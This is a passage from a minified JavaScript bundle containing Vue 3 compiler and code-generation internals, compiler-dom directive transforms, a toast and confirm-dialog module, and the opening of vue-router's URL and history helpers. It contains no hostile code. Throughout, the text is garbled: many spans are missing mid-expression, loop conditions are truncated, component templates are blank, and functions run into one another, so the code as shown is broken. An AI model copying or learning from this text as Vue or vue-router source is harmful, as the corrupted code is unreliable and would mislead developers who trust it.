"),t.codegenNode?js(t.codegenNode,s):a("null"),B&&(r(),a("}")),r(),a("}"),{ast:t,code:s.code,preamble:"",map:s.map?s.map.toJSON():void 0}}function O_(t,e){const{ssr:s,prefixIdentifiers:n,push:a,newline:i,runtimeModuleName:l,runtimeGlobalName:r,ssrRuntimeModuleName:o}=e,c=r,u=Array.from(t.helpers);if(u.length>0&&(a(`const _Vue = ${c} +`,-1),t.hoists.length)){const d=[wp,_p,no,Ep,uv].filter(p=>u.includes(p)).map(Rv).join(", ");a(`const { ${d} } = _Vue +`,-1)}L_(t.hoists,e),i(),a("return ")}function Mu(t,e,{helper:s,push:n,newline:a,isTS:i}){const l=s(e==="filter"?Tp:e==="component"?kp:Sp);for(let r=0;r3||!1;e.push("["),s&&e.indent(),io(t,e,s),s&&e.deindent(),e.push("]")}function io(t,e,s=!1,n=!0){const{push:a,newline:i}=e;for(let l=0;ls||"null")}function U_(t,e){const{push:s,helper:n,pure:a}=e,i=ut(t.callee)?t.callee:n(t.callee);a&&s(tu),s(i+"(",-2,t),io(t.arguments,e),s(")")}function $_(t,e){const{push:s,indent:n,deindent:a,newline:i}=e,{properties:l}=t;if(!l.length){s("{}",-2,t);return}const r=l.length>1||!1;s(r?"{":"{ "),r&&n();for(let o=0;o "),(o||r)&&(s("{"),n()),l?(o&&s("return "),Ve(l)?$p(l,e):js(l,e)):r&&js(r,e),(o||r)&&(a(),s("}")),c&&(t.isNonScopedSlot&&s(", undefined, true"),s(")"))}function z_(t,e){const{test:s,consequent:n,alternate:a,newline:i}=t,{push:l,indent:r,deindent:o,newline:c}=e;if(s.type===4){const d=!Hp(s.content);d&&l("("),Iv(s,e),d&&l(")")}else l("("),js(s,e),l(")");i&&r(),e.indentLevel++,i||l(" "),l("? "),js(n,e),e.indentLevel--,i&&c(),i||l(" "),l(": ");const u=a.type===19;u||e.indentLevel++,js(a,e),u||e.indentLevel--,i&&o(!0)}function q_(t,e){const{push:s,helper:n,indent:a,deindent:i,newline:l}=e,{needPauseTracking:r,needArraySpread:o}=t;o&&s("[...("),s(`_cache[${t.index}] || (`),r&&(a(),s(`${n(xc)}(-1`),t.inVOnce&&s(", true"),s("),"),l(),s("(")),s(`_cache[${t.index}] = `),js(t.value,e),r&&(s(`).cacheIndex = ${t.index},`),l(),s(`${n(xc)}(1),`),l(),s(`_cache[${t.index}]`),i()),s(")"),o&&s(")]")}new RegExp("\\b"+"arguments,await,break,case,catch,class,const,continue,debugger,default,delete,do,else,export,extends,finally,for,function,if,import,let,new,return,super,switch,throw,try,var,void,while,with,yield".split(",").join("\\b|\\b")+"\\b");const V_=Av(/^(?:if|else|else-if)$/,(t,e,s)=>K_(t,e,s,(n,a,i)=>{const l=s.parent.children;let r=l.indexOf(n),o=0;for(;r-->=0;){const c=l[r];c&&c.type===9&&(o+=c.branches.length)}return()=>{if(i)n.codegenNode=vB(a,o,s);else{const c=W_(n.codegenNode);c.alternate=vB(a,o+n.branches.length-1,s)}}}));function K_(t,e,s,n){if(e.name!=="else"&&(!e.exp||!e.exp.content.trim())){const a=e.exp?e.exp.loc:t.loc;s.onError(Xt(28,e.loc)),e.exp=pt("true",!1,a)}if(e.name==="if"){const a=mB(t,e),i={type:9,loc:y_(t.loc),branches:[a]};if(s.replaceNode(i),n)return n(i,a,!0)}else{const a=s.parent.children;let i=a.indexOf(t);for(;i-->=-1;){const l=a[i];if(l&&yv(l)){s.removeNode(l);continue}if(l&&l.type===9){(e.name==="else-if"||e.name==="else")&&l.branches[l.branches.length-1].condition===void 0&&s.onError(Xt(30,t.loc)),s.removeNode();const r=mB(t,e);l.branches.push(r);const o=n&&n(l,r,!1);eu(r,s),o&&o(),s.currentNode=null}else s.onError(Xt(30,t.loc));break}}}function mB(t,e){const s=t.tagType===3;return{type:10,loc:t.loc,condition:e.name==="else"?void 0:e.exp,children:s&&!Ln(t,"for")?t.children:[t],userKey:Xc(t,"key"),isTemplateIf:s}}function vB(t,e,s){return t.condition?wd(t.condition,bB(t,e,s),_s(s.helper(no),['""',"true"])):bB(t,e,s)}function bB(t,e,s){const{helper:n}=s,a=vs("key",pt(`${e}`,!1,Dn,2)),{children:i}=t,l=i[0];if(i.length!==1||l.type!==1)if(i.length===1&&l.type===11){const o=l.codegenNode;return kc(o,a,s),o}else return Ur(s,n(Hr),Nn([a]),i,64,void 0,void 0,!0,!1,!1,t.loc);else{const o=l.codegenNode,c=d_(o);return c.type===13&&Mp(c,s),kc(c,a,s),o}}function W_(t){for(;;)if(t.type===19)if(t.alternate.type===19)t=t.alternate;else return t;else t.type===20&&(t=t.value)}const Q_=Av("for",(t,e,s)=>{const{helper:n,removeHelper:a}=s;return Y_(t,e,s,i=>{const l=_s(n(Rp),[i.source]),r=_c(t),o=Ln(t,"memo"),c=Xc(t,"key",!1,!0);c&&c.type;let u=c&&(c.type===6?c.value?pt(c.value.content,!0):void 0:c.exp);const d=u?vs("key",u):null,p=i.source.type===4&&i.source.constType>0,B=p?64:c?128:256;return i.codegenNode=Ur(s,n(Hr),void 0,l,B,void 0,void 0,!0,!p,!1,t.loc),()=>{let h;const{children:b}=i,w=b.length!==1||b[0].type!==1,_=Ec(t)?t:r&&t.children.length===1&&Ec(t.children[0])?t.children[0]:null;if(_?(h=_.codegenNode,r&&d&&kc(h,d,s)):w?h=Ur(s,n(Hr),d?Nn([d]):void 0,t.children,64,void 0,void 0,!0,void 0,!1):(h=b[0].codegenNode,r&&d&&kc(h,d,s),h.isBlock!==!p&&(h.isBlock?(a(Ui),a(Nl(s.inSSR,h.isComponent))):a(Ll(s.inSSR,h.isComponent))),h.isBlock=!p,h.isBlock?(n(Ui),n(Nl(s.inSSR,h.isComponent))):n(Ll(s.inSSR,h.isComponent))),o){const C=Ol(kd(i.parseResult,[pt("_cached")]));C.body=Xw([jn(["const _memo = (",o.exp,")"]),jn(["if (_cached && _cached.el",...u?[" && _cached.key === ",u]:[],` && ${s.helperString(fv)}(_cached, _memo)) return _cached`]),jn(["const _item = ",h]),pt("_item.memo = _memo"),pt("return _item")]),l.arguments.push(C,pt("_cache"),pt(String(s.cached.length))),s.cached.push(null)}else l.arguments.push(Ol(kd(i.parseResult),h,!0))}})});function Y_(t,e,s,n){if(!e.exp){s.onError(Xt(31,e.loc));return}const a=e.forParseResult;if(!a){s.onError(Xt(32,e.loc));return}Lv(a);const{addIdentifiers:i,removeIdentifiers:l,scopes:r}=s,{source:o,value:c,key:u,index:d}=a,p={type:11,loc:e.loc,source:o,valueAlias:c,keyAlias:u,objectIndexAlias:d,parseResult:a,children:_c(t)?t.children:[t]};s.replaceNode(p),r.vFor++;const B=n&&n(p);return()=>{r.vFor--,B&&B()}}function Lv(t,e){t.finalized||(t.finalized=!0)}function kd({value:t,key:e,index:s},n=[]){return Z_([t,e,s,...n])}function Z_(t){let e=t.length;for(;e--&&!t[e];);return t.slice(0,e+1).map((s,n)=>s||pt("_".repeat(n+1),!1))}const CB=pt("undefined",!1),X_=(t,e)=>{if(t.type===1&&(t.tagType===1||t.tagType===3)){const s=Ln(t,"slot");if(s)return s.exp,e.scopes.vSlot++,()=>{e.scopes.vSlot--}}},eE=(t,e,s,n)=>Ol(t,s,!1,!0,s.length?s[0].loc:n);function tE(t,e,s=eE){e.helper(Np);const{children:n,loc:a}=t,i=[],l=[];let r=e.scopes.vSlot>0||e.scopes.vFor>0;const o=Ln(t,"slot",!0);if(o){const{arg:w,exp:_}=o;w&&!mn(w)&&(r=!0),i.push(vs(w||pt("default",!0),s(_,void 0,n,a)))}let c=!1,u=!1;const d=[],p=new Set;let B=0;for(let w=0;w{const v=s(_,void 0,C,a);return e.compatConfig&&(v.isNonScopedSlot=!0),vs("default",v)};c?d.length&&!d.every(Gp)&&(u?e.onError(Xt(39,d[0].loc)):i.push(w(void 0,d))):i.push(w(void 0,n))}const h=r?2:Xo(t.children)?3:1;let b=Nn(i.concat(vs("_",pt(h+"",!1))),a);return l.length&&(b=_s(e.helper(pv),[b,Mi(l)])),{slots:b,hasDynamicSlots:r}}function So(t,e,s){const n=[vs("name",t),vs("fn",e)];return s!=null&&n.push(vs("key",pt(String(s),!0))),Nn(n)}function Xo(t){for(let e=0;efunction(){if(t=e.currentNode,!(t.type===1&&(t.tagType===0||t.tagType===1)))return;const{tag:n,props:a}=t,i=t.tagType===1;let l=i?nE(t,e):`"${n}"`;const r=Rt(l)&&l.callee===Dp;let o,c,u=0,d,p,B,h=r||l===wr||l===xp||!i&&(n==="svg"||n==="foreignObject"||n==="math");if(a.length>0){const b=Fv(t,e,void 0,i,r);o=b.props,u=b.patchFlag,p=b.dynamicPropNames;const w=b.directives;B=w&&w.length?Mi(w.map(_=>iE(_,e))):void 0,b.shouldUseBlock&&(h=!0)}if(t.children.length>0)if(l===Cc&&(h=!0,u|=1024),i&&l!==wr&&l!==Cc){const{slots:w,hasDynamicSlots:_}=tE(t,e);c=w,_&&(u|=1024)}else if(t.children.length===1&&l!==wr){const w=t.children[0],_=w.type,C=_===5||_===8;C&&_n(w,e)===0&&(u|=1),C||_===2?c=w:c=t.children}else c=t.children;p&&p.length&&(d=lE(p)),t.codegenNode=Ur(e,l,o,c,u===0?void 0:u,d,B,!!h,!1,i,t.loc)};function nE(t,e,s=!1){let{tag:n}=t;const a=Dd(n),i=Xc(t,"is",!1,!0);if(i)if(a||Pi("COMPILER_IS_ON_ELEMENT",e)){let r;if(i.type===6?r=i.value&&pt(i.value.content,!0):(r=i.exp,r||(r=pt("is",!1,i.arg.loc))),r)return _s(e.helper(Dp),[r])}else i.type===6&&i.value.content.startsWith("vue:")&&(n=i.value.content.slice(4));const l=hv(n)||e.isBuiltInComponent(n);return l?(s||e.helper(l),l):(e.helper(kp),e.components.add(n),jr(n,"component"))}function Fv(t,e,s=t.props,n,a,i=!1){const{tag:l,loc:r,children:o}=t;let c=[];const u=[],d=[],p=o.length>0;let B=!1,h=0,b=!1,w=!1,_=!1,C=!1,v=!1,m=!1;const y=[],k=L=>{c.length&&(u.push(Nn(yB(c),r)),c=[]),L&&u.push(L)},x=()=>{e.scopes.vFor>0&&c.push(vs(pt("ref_for",!0),pt("true")))},A=({key:L,value:O})=>{if(mn(L)){const I=L.content,J=Ji(I);if(J&&(!n||a)&&I.toLowerCase()!=="onclick"&&I!=="onUpdate:modelValue"&&!Aa(I)&&(C=!0),J&&Aa(I)&&(m=!0),J&&O.type===14&&(O=O.arguments[0]),O.type===20||(O.type===4||O.type===8)&&_n(O,e)>0)return;I==="ref"?b=!0:I==="class"?w=!0:I==="style"?_=!0:I!=="key"&&!y.includes(I)&&y.push(I),n&&(I==="class"||I==="style")&&!y.includes(I)&&y.push(I)}else v=!0};for(let L=0;Lee.content==="prop")&&(h|=32);const z=e.directiveTransforms[I];if(z){const{props:ee,needRuntime:Q}=z(O,t,e);!i&&ee.forEach(A),N&&J&&!mn(J)?k(Nn(ee,r)):c.push(...ee),Q&&(d.push(O),Js(Q)&&Nv.set(O,Q))}else QC(I)||(d.push(O),p&&(B=!0))}}let S;if(u.length?(k(),u.length>1?S=_s(e.helper(yc),u,r):S=u[0]):c.length&&(S=Nn(yB(c),r)),v?h|=16:(w&&!n&&(h|=2),_&&!n&&(h|=4),y.length&&(h|=8),C&&(h|=32)),!B&&(h===0||h===32)&&(b||m||d.length>0)&&(h|=512),!e.inSSR&&S)switch(S.type){case 15:let L=-1,O=-1,I=!1;for(let te=0;tevs(l,i)),a))}return Mi(s,t.loc)}function lE(t){let e="[";for(let s=0,n=t.length;s{if(Ec(t)){const{children:s,loc:n}=t,{slotName:a,slotProps:i}=oE(t,e),l=[e.prefixIdentifiers?"_ctx.$slots":"$slots",a,"{}","undefined","true"];let r=2;i&&(l[2]=i,r=3),s.length&&(l[3]=Ol([],s,!1,!1,n),r=4),e.scopeId&&!e.slotted&&(r=5),l.splice(r),t.codegenNode=_s(e.helper(dv),l,n)}};function oE(t,e){let s='"default"',n;const a=[];for(let i=0;i0){const{props:i,directives:l}=Fv(t,e,a,!1,!1);n=i,l.length&&e.onError(Xt(36,l[0].loc))}return{slotName:s,slotProps:n}}const Mv=(t,e,s,n)=>{const{loc:a,modifiers:i,arg:l}=t;!t.exp&&!i.length&&s.onError(Xt(35,a));let r;if(l.type===4)if(l.isStatic){let d=l.content;d.startsWith("vue:")&&(d=`vnode-${d.slice(4)}`);const p=e.tagType!==0||d.startsWith("vnode")||!/[A-Z]/.test(d)?bl(Ut(d)):`on:${d}`;r=pt(p,!0,l.loc)}else r=jn([`${s.helperString(xd)}(`,l,")"]);else r=l,r.children.unshift(`${s.helperString(xd)}(`),r.children.push(")");let o=t.exp;o&&!o.content.trim()&&(o=void 0);let c=s.cacheHandlers&&!o&&!s.inVOnce;if(o){const d=vv(o),p=!(d||r_(o)),B=o.content.includes(";");(p||c&&d)&&(o=jn([`${p?"$event":"(...args)"} => ${B?"{":"("}`,o,B?"}":")"]))}let u={props:[vs(r,o||pt("() => {}",!1,a))]};return n&&(u=n(u)),c&&(u.props[0].value=s.cache(u.props[0].value)),u.props.forEach(d=>d.key.isHandlerKey=!0),u},cE=(t,e,s)=>{const{modifiers:n,loc:a}=t,i=t.arg;let{exp:l}=t;return l&&l.type===4&&!l.content.trim()&&(l=void 0),i.type!==4?(i.children.unshift("("),i.children.push(') || ""')):i.isStatic||(i.content=i.content?`${i.content} || ""`:'""'),n.some(r=>r.content==="camel")&&(i.type===4?i.isStatic?i.content=Ut(i.content):i.content=`${s.helperString(yd)}(${i.content})`:(i.children.unshift(`${s.helperString(yd)}(`),i.children.push(")"))),s.inSSR||(n.some(r=>r.content==="prop")&&xB(i,"."),n.some(r=>r.content==="attr")&&xB(i,"^")),{props:[vs(i,l)]}},xB=(t,e)=>{t.type===4?t.isStatic?t.content=e+t.content:t.content=`\`${e}\${${t.content}}\``:(t.children.unshift(`'${e}' + (`),t.children.push(")"))},uE=(t,e)=>{if(t.type===0||t.type===1||t.type===11||t.type===10)return()=>{const s=t.children;let n,a=!1;for(let i=0;ii.type===7&&!e.directiveTransforms[i.name])&&t.tag!=="template")))for(let i=0;i{if(t.type===1&&Ln(t,"once",!0))return wB.has(t)||e.inVOnce||e.inSSR?void 0:(wB.add(t),e.inVOnce=!0,e.helper(xc),()=>{e.inVOnce=!1;const s=e.currentNode;s.codegenNode&&(s.codegenNode=e.cache(s.codegenNode,!0,!0))})},Pv=(t,e,s)=>{const{exp:n,arg:a}=t;if(!n)return s.onError(Xt(41,t.loc)),tr();const i=n.loc.source.trim(),l=n.type===4?n.content:i,r=s.bindingMetadata[i];if(r==="props"||r==="props-aliased")return s.onError(Xt(44,n.loc)),tr();if(r==="literal-const"||r==="setup-const")return s.onError(Xt(45,n.loc)),tr();if(!l.trim()||!vv(n))return s.onError(Xt(42,n.loc)),tr();const o=a||pt("modelValue",!0),c=a?mn(a)?`onUpdate:${Ut(a.content)}`:jn(['"onUpdate:" + ',a]):"onUpdate:modelValue";let u;const d=s.isTS?"($event: any)":"$event";u=jn([`${d} => ((`,n,") = $event)"]);const p=[vs(o,t.exp),vs(c,u)];if(t.modifiers.length&&e.tagType===1){const B=t.modifiers.map(b=>b.content).map(b=>(Hp(b)?b:JSON.stringify(b))+": true").join(", "),h=a?mn(a)?`${a.content}Modifiers`:jn([a,' + "Modifiers"']):"modelModifiers";p.push(vs(h,pt(`{ ${B} }`,!1,t.loc,2)))}return tr(p)};function tr(t=[]){return{props:t}}const pE=/[\w).+\-_$\]]/,fE=(t,e)=>{Pi("COMPILER_FILTERS",e)&&(t.type===5?Dc(t.content,e):t.type===1&&t.props.forEach(s=>{s.type===7&&s.name!=="for"&&s.exp&&Dc(s.exp,e)}))};function Dc(t,e){if(t.type===4)_B(t,e);else for(let s=0;s=0&&(C=s.charAt(_),C===" ");_--);(!C||!pE.test(C))&&(l=!0)}}h===void 0?h=s.slice(0,B).trim():u!==0&&w();function w(){b.push(s.slice(u,B).trim()),u=B+1}if(b.length){for(B=0;B{if(t.type===1){const s=Ln(t,"memo");return!s||EB.has(t)||e.inSSR?void 0:(EB.add(t),()=>{const n=t.codegenNode||e.currentNode.codegenNode;n&&n.type===13&&(t.tagType!==1&&Mp(n,e),t.codegenNode=_s(e.helper(Fp),[s.exp,Ol(void 0,n),"_cache",String(e.cached.length)]),e.cached.push(null))})}},gE=(t,e)=>{if(t.type===1){for(const s of t.props)if(s.type===7&&s.name==="bind"&&(!s.exp||s.exp.type===4&&!s.exp.content.trim())&&s.arg){const n=s.arg;if(n.type!==4||!n.isStatic)e.onError(Xt(53,n.loc)),s.exp=pt("",!0,n.loc);else{const a=Ut(n.content);(gv.test(a[0])||a[0]==="-")&&(s.exp=pt(a,!1,n.loc))}}}};function mE(t){return[[gE,dE,V_,hE,Q_,fE,rE,sE,X_,uE],{on:Mv,bind:cE,model:Pv}]}function vE(t,e={}){const s=e.onError||Pp,n=e.mode==="module";e.prefixIdentifiers===!0?s(Xt(48)):n&&s(Xt(49));const a=!1;e.cacheHandlers&&s(Xt(50)),e.scopeId&&!n&&s(Xt(51));const i=vt({},e,{prefixIdentifiers:a}),l=ut(t)?__(t,i):t,[r,o]=mE();return S_(l,vt({},i,{nodeTransforms:[...r,...e.nodeTransforms||[]],directiveTransforms:vt({},o,e.directiveTransforms||{})})),I_(l,i)}const bE=()=>({props:[]});/** +* @vue/compiler-dom v3.5.38 +* (c) 2018-present Yuxi (Evan) You and Vue contributors +* @license MIT +**/const Hv=Symbol(""),Gv=Symbol(""),Uv=Symbol(""),$v=Symbol(""),Sd=Symbol(""),jv=Symbol(""),Jv=Symbol(""),zv=Symbol(""),qv=Symbol(""),Vv=Symbol("");Qw({[Hv]:"vModelRadio",[Gv]:"vModelCheckbox",[Uv]:"vModelText",[$v]:"vModelSelect",[Sd]:"vModelDynamic",[jv]:"withModifiers",[Jv]:"withKeys",[zv]:"vShow",[qv]:"Transition",[Vv]:"TransitionGroup"});let nl;function CE(t,e=!1){return nl||(nl=document.createElement("div")),e?(nl.innerHTML=`
    `,nl.children[0].getAttribute("foo")):(nl.innerHTML=t,nl.textContent)}const yE={parseMode:"html",isVoidTag:fy,isNativeTag:t=>uy(t)||dy(t)||py(t),isPreTag:t=>t==="pre",isIgnoreNewlineTag:t=>t==="pre"||t==="textarea",decodeEntities:CE,isBuiltInComponent:t=>{if(t==="Transition"||t==="transition")return qv;if(t==="TransitionGroup"||t==="transition-group")return Vv},getNamespace(t,e,s){let n=e?e.ns:s;if(e&&n===2)if(e.tag==="annotation-xml"){if(t==="svg")return 1;e.props.some(a=>a.type===6&&a.name==="encoding"&&a.value!=null&&(a.value.content==="text/html"||a.value.content==="application/xhtml+xml"))&&(n=0)}else/^m(?:[ions]|text)$/.test(e.tag)&&t!=="mglyph"&&t!=="malignmark"&&(n=0);else e&&n===1&&(e.tag==="foreignObject"||e.tag==="desc"||e.tag==="title")&&(n=0);if(n===0){if(t==="svg")return 1;if(t==="math")return 2}return n}},xE=t=>{t.type===1&&t.props.forEach((e,s)=>{e.type===6&&e.name==="style"&&e.value&&(t.props[s]={type:7,name:"bind",arg:pt("style",!0,e.loc),exp:wE(e.value.content,e.loc),modifiers:[],loc:e.loc})})},wE=(t,e)=>{const s=lg(t);return pt(JSON.stringify(s),!1,e,3)};function di(t,e){return Xt(t,e)}const _E=(t,e,s)=>{const{exp:n,loc:a}=t;return n||s.onError(di(54,a)),e.children.length&&(s.onError(di(55,a)),e.children.length=0),{props:[vs(pt("innerHTML",!0,a),n||pt("",!0))]}},EE=(t,e,s)=>{const{exp:n,loc:a}=t;return n||s.onError(di(56,a)),e.children.length&&(s.onError(di(57,a)),e.children.length=0),{props:[vs(pt("textContent",!0),n?_n(n,s)>0?n:_s(s.helperString(Zc),[n],a):pt("",!0))]}},kE=(t,e,s)=>{const n=Pv(t,e,s);if(!n.props.length||e.tagType===1)return n;t.arg&&s.onError(di(59,t.arg.loc));const{tag:a}=e,i=s.isCustomElement(a);if(a==="input"||a==="textarea"||a==="select"||i){let l=Uv,r=!1;if(a==="input"||i){const o=Xc(e,"type");if(o){if(o.type===7)l=Sd;else if(o.value)switch(o.value.content){case"radio":l=Hv;break;case"checkbox":l=Gv;break;case"file":r=!0,s.onError(di(60,t.loc));break}}else o_(e)&&(l=Sd)}else a==="select"&&(l=$v);r||(n.needRuntime=s.helper(l))}else s.onError(di(58,t.loc));return n.props=n.props.filter(l=>!(l.key.type===4&&l.key.content==="modelValue")),n},DE=kn("passive,once,capture"),SE=kn("stop,prevent,self,ctrl,shift,alt,meta,exact,middle"),TE=kn("left,right"),Kv=kn("onkeyup,onkeydown,onkeypress"),AE=(t,e,s,n)=>{const a=[],i=[],l=[];for(let r=0;rmn(t)&&t.content.toLowerCase()==="onclick"?pt(e,!0):t.type!==4?jn(["(",t,`) === "onClick" ? "${e}" : (`,t,")"]):t,RE=(t,e,s)=>Mv(t,e,s,n=>{const{modifiers:a}=t;if(!a.length)return n;let{key:i,value:l}=n.props[0];const{keyModifiers:r,nonKeyModifiers:o,eventOptionModifiers:c}=AE(i,a,s,t.loc);if(o.includes("right")&&(i=kB(i,"onContextmenu")),o.includes("middle")&&(i=kB(i,"onMouseup")),o.length&&(l=_s(s.helper(jv),[l,JSON.stringify(o)])),r.length&&(!mn(i)||Kv(i.content.toLowerCase()))&&(l=_s(s.helper(Jv),[l,JSON.stringify(r)])),c.length){const u=c.map(qi).join("");i=mn(i)?pt(`${i.content}${u}`,!0):jn(["(",i,`) + "${u}"`])}return{props:[vs(i,l)]}}),IE=(t,e,s)=>{const{exp:n,loc:a}=t;return n||s.onError(di(62,a)),{props:[],needRuntime:s.helper(zv)}},OE=(t,e)=>{t.type===1&&t.tagType===0&&(t.tag==="script"||t.tag==="style")&&e.removeNode()},LE=[xE],NE={cloak:bE,html:_E,text:EE,model:kE,on:RE,show:IE};function FE(t,e={}){return vE(t,vt({},yE,e,{nodeTransforms:[OE,...LE,...e.nodeTransforms||[]],directiveTransforms:vt({},NE,e.directiveTransforms||{}),transformHoist:null}))}/** +* vue v3.5.38 +* (c) 2018-present Yuxi (Evan) You and Vue contributors +* @license MIT +**/const DB=Object.create(null);function ME(t,e){if(!ut(t))if(t.nodeType)t=t.innerHTML;else return Ns;const s=XC(t,e),n=DB[s];if(n)return n;if(t[0]==="#"){const r=document.querySelector(t);t=r?r.innerHTML:""}const a=vt({hoistStatic:!0,onError:void 0,onWarn:Ns},e);!a.isCustomElement&&typeof customElements<"u"&&(a.isCustomElement=r=>!!customElements.get(r));const{code:i}=FE(t,a),l=new Function("Vue",i)(Jw);return l._rc=!0,DB[s]=l}Rm(ME);const Sc=Bi({items:[]});let PE=1;function su(t,e="info",s=3e3){const n=PE++;return Sc.items.push({id:n,message:String(t),type:e}),s>0&&setTimeout(()=>jp(n),s),n}function jp(t){const e=Sc.items.findIndex(s=>s.id===t);e>=0&&Sc.items.splice(e,1)}function Ie(t,e="info",s=3e3){return su(t,e,s)}Ie.success=(t,e=3e3)=>su(t,"success",e);Ie.error=(t,e=5e3)=>su(t,"error",e);Ie.info=(t,e=3e3)=>su(t,"info",e);Ie.dismiss=jp;const HE={setup(){return{state:Sc,dismiss:jp}},template:` +
    + +
    + + {{ t.message }} +
    +
    +
    + `},wa=Bi({open:!1,title:"Confirm",message:"",confirmLabel:"Confirm",cancelLabel:"Cancel",danger:!1});let El=null;function Es({title:t="Confirm",message:e="",confirmLabel:s="Confirm",cancelLabel:n="Cancel",danger:a=!1}={}){return El&&El(!1),wa.title=t,wa.message=e,wa.confirmLabel=s,wa.cancelLabel=n,wa.danger=a,wa.open=!0,new Promise(i=>{El=i})}function SB(t){wa.open=!1,El&&(El(t),El=null)}const GE={setup(){function t(e){wa.open&&e.key==="Escape"&&(e.stopPropagation(),SB(!1))}return dt(()=>document.addEventListener("keydown",t,!0)),It(()=>document.removeEventListener("keydown",t,!0)),{state:wa,settle:SB}},template:` + + + + `};/*! + * vue-router v4.6.4 + * (c) 2025 Eduardo San Martin Morote + * @license MIT + */const ul=typeof document<"u";function Wv(t){return typeof t=="object"||"displayName"in t||"props"in t||"__vccOpts"in t}function UE(t){return t.__esModule||t[Symbol.toStringTag]==="Module"||t.default&&Wv(t.default)}const Ft=Object.assign;function Pu(t,e){const s={};for(const n in e){const a=e[n];s[n]=zn(a)?a.map(t):t(a)}return s}const _r=()=>{},zn=Array.isArray;function TB(t,e){const s={};for(const n in t)s[n]=n in e?e[n]:t[n];return s}const Qv=/#/g,$E=/&/g,jE=/\//g,JE=/=/g,zE=/\?/g,Yv=/\+/g,qE=/%5B/g,VE=/%5D/g,Zv=/%5E/g,KE=/%60/g,Xv=/%7B/g,WE=/%7C/g,eb=/%7D/g,QE=/%20/g;function Jp(t){return t==null?"":encodeURI(""+t).replace(WE,"|").replace(qE,"[").replace(VE,"]")}function YE(t){return Jp(t).replace(Xv,"{").replace(eb,"}").replace(Zv,"^")}function Td(t){return Jp(t).replace(Yv,"%2B").replace(QE,"+").replace(Qv,"%23").replace($E,"%26").replace(KE,"`").replace(Xv,"{").replace(eb,"}").replace(Zv,"^")}function ZE(t){return Td(t).replace(JE,"%3D")}function XE(t){return Jp(t).replace(Qv,"%23").replace(zE,"%3F")}function ek(t){return XE(t).replace(jE,"%2F")}function zr(t){if(t==null)return null;try{return decodeURIComponent(""+t)}catch{}return""+t}const tk=/\/$/,sk=t=>t.replace(tk,"");function Hu(t,e,s="/"){let n,a={},i="",l="";const r=e.indexOf("#");let o=e.indexOf("?");return o=r>=0&&o>r?-1:o,o>=0&&(n=e.slice(0,o),i=e.slice(o,r>0?r:e.length),a=t(i.slice(1))),r>=0&&(n=n||e.slice(0,r),l=e.slice(r,e.length)),n=lk(n??e,s),{fullPath:n+i+l,path:n,query:a,hash:zr(l)}}function nk(t,e){const s=e.query?t(e.query):"";return e.path+(s&&"?")+s+(e.hash||"")}function AB(t,e){return!e||!t.toLowerCase().startsWith(e.toLowerCase())?t:t.slice(e.length)||"/"}function ak(t,e,s){const n=e.matched.length-1,a=s.matched.length-1;return n>-1&&n===a&&Fl(e.matched[n],s.matched[a])&&tb(e.params,s.params)&&t(e.query)===t(s.query)&&e.hash===s.hash}function Fl(t,e){return(t.aliasOf||t)===(e.aliasOf||e)}function tb(t,e){if(Object.keys(t).length!==Object.keys(e).length)return!1;for(var s in t)if(!ik(t[s],e[s]))return!1;return!0}function ik(t,e){return zn(t)?RB(t,e):zn(e)?RB(e,t):(t==null?void 0:t.valueOf())===(e==null?void 0:e.valueOf())}function RB(t,e){return zn(e)?t.length===e.length&&t.every((s,n)=>s===e[n]):t.length===1&&t[0]===e}function lk(t,e){if(t.startsWith("/"))return t;if(!t)return e;const s=e.split("/"),n=t.split("/"),a=n[n.length-1];(a===".."||a===".")&&n.push("");let i=s.length-1,l,r;for(l=0;l1&&i--;else break;return s.slice(0,i).join("/")+"/"+n.slice(l).join("/")}const Za={path:"/",name:void 0,params:{},query:{},hash:"",fullPath:"/",matched:[],meta:{},redirectedFrom:void 0};let Ad=(function(t){return t.pop="pop",t.push="push",t})({}),Gu=(function(t){return t.back="back",t.forward="forward",t.unknown="",t})({});function rk(t){if(!t)if(ul){const e=document.querySelector("base");t=e&&e.getAttribute("href")||"/",t=t.replace(/^\w+:\/\/[^\/]+/,"")}else t="/";return t[0]!=="/"&&t[0]!=="#"&&(t="/"+t),sk(t)}const ok=/^[^#]+#/;function ck(t,e){return t.replace(ok,"#")+e}function uk(t,e){const s=document.documentElement.getBoundingClientRect(),n=t.getBoundingClientRect();return{behavior:e.behavior,left:n.left-s.left-(e.left||0),top:n.top-s.top-(e.top||0)}}const nu=()=>({left:window.scrollX,top:window.scrollY});function dk(t){let e;if("el"in t){const s=t.el,n=typeof s=="string"&&s.startsWith("#"),a=typeof s=="string"?n?document.getElementById(s.slice(1)):document.querySelector(s):s;if(!a)return;e=uk(a,t)}else e=t;"scrollBehavior"in document.documentElement.style?window.scrollTo(e):window.scrollTo(e.left!=null?e.left:window.scrollX,e.top!=null?e.top:window.scrollY)}function IB(t,e){return(history.state?history.state.position-e:-1)+t}const Rd=new Map;function pk(t,e){Rd.set(t,e)}function fk(t){const e=Rd.get(t);return Rd.delete(t),e}function Bk(t){return typeof t=="string"||t&&typeof t=="object"}function sb(t){return typeof t=="string"||typeof t=="symbol"}let os=(function(t){return t[t.MATCHER_NOT_FOUND=1]="MATCHER_NOT_FOUND",t[t.NAVIGATION_GUARD_REDIRECT=2]="NAVIGATION_GUARD_REDIRECT",t[t.NAVIGATION_ABORTED=4]="NAVIGATION_ABORTED",t[t.NAVIGATION_CANCELLED=8]="NAVIGATION_CANCELLED",t[t.NAVIGATION_DUPLICATED=16]="NAVIGATION_DUPLICATED",t})({});const nb=Symbol("");os.MATCHER_NOT_FOUND+"",os.NAVIGATION_GUARD_REDIRECT+"",os.NAVIGATION_ABORTED+"",os.NAVIGATION_CANCELLED+"",os.NAVIGATION_DUPLICATED+"";function Ml(t,e){return Ft(new Error,{type:t,[nb]:!0},e)}function ma(t,e){return t instanceof Error&&nb in t&&(e==null||!!(t.type&e))}const hk=["params","query","hash"];function gk(t){if(typeof t=="string")return t;if(t.path!=null)return t.path;const e={};for(const s of hk)s in t&&(e[s]=t[s]);return JSON.stringify(e,null,2)}function mk(t){const e={};if(t===""||t==="?")return e;const s=(t[0]==="?"?t.slice(1):t).split("&");for(let n=0;na&&Td(a)):[n&&Td(n)]).forEach(a=>{a!==void 0&&(e+=(e.length?"&":"")+s,a!=null&&(e+="="+a))})}return e}function vk(t){const e={};for(const s in t){const n=t[s];n!==void 0&&(e[s]=zn(n)?n.map(a=>a==null?null:""+a):n==null?n:""+n)}return e}const bk=Symbol(""),LB=Symbol(""),au=Symbol(""),zp=Symbol(""),Id=Symbol("");function sr(){let t=[];function 